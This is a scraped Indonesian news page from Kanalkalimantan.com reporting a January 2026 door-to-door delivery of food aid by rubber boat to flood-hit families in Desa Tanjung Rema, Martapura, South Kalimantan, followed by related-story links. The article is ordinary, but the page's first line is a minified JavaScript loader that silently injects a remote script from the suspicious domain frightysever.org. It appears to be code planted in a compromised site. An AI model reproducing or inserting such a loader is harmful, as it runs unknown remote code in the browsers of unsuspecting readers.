(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa Pecinta Alam Fisipinoeer menyusur sekaligus menyerahkan bantuan sembako di wilayah banjir Kota Martapura, Kabupaten Banjar, Kalimantan Selatan.
Masuk ke jalan dan gang kecil yang sudah sepekan lebih menenggelamkan rumah-rumah warga di Desa Tanjung Rema, Kecamatan Martapura Kota, Senin (5/1/2026). Tim Kanalkalimantan Peduli bersama MPA Fisipioneer dibantu relawan door to door alias pintu ke pintu mendatangi rumah warga antarkan paket bantuan sembako.
Didampingi langsung Ketua RT 09 Desa Tanjung Rema, Roni menyerahkan bantuan sembako kepada warga terdampak.
Baca juga: Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak
Pembagian paket sembako dilakukan Tim Kanalkalimantan Peduli menggunakan perahu karet milik MPA Fisipioneer Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Lambung Mangkurat (ULM) Banjarmasin.
Ketua RT 09, Roni menyebutkan, ada 121 kepala keluarga dengan 443 jiwa terdampak banjir yang sudah berlangsung lebih dari sepekan.
“Di sini ada 94 rumah terendam, 26 bayi usia 1- 4 tahun dan 3 balita,” ujarnya.
Baca juga: Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa
Banjir yang sudah menenggelamkan puluhan rumah warga di RT 09 Desa Tanjung Rema, Kanalkalimantan Peduli – MPA Fisipioneer membawa titipan paket sembako untuk diserahkan langsung kepada kepala keluarga didampingi Ketua RT.
Meski hanya menghantarkan 121 paket sembako dari donatur yang enggan disebut nama, Kanalkalimantan Peduli bersama anggota MPA Fisipioneer menyerahkan langsung dari pintu ke pintu rumah warga yang tenggelam.
“Alhamdulillah, terima kasih atas perhatiannya dan bantuannya,” ujar Roni, Senin (5/1/2026) sore. “Bantuan sembako ini sangat bermanfaat bagi kami di sini,” ujarnya.
Baca juga: UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!
Roni menambahkan, banjir selama sepekan lebih menenggelamkan rumah-rumah warga. Ada yang rumah tenggelam semata kaki, bahkan ada yang lebih. “Beberapa ada yang mengungsi ke tempat keluarga, ada juga yang masih bertahan menempati rumah sendiri, membikin apar-apar tinggi di dalam rumah,” katanya.
“Saat ini kalu dilihat kondisi air, tidak ada terlihat penurunan,” ujar Roni.
Banjir di salah satu kawasan di Kota Martapura ini diperkirakan akan terus berlangsung hingga bulan Februari nanti. “Banjarmasin kabarnya banjir pasang, jadi air di Martapura tertahan, ditambah info terbaru di kawasan Pengaron dan Sungai Pinang hujan masih terjadi, bisa dipastikan air akan lambat turun ke hilir,” tandasnya. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.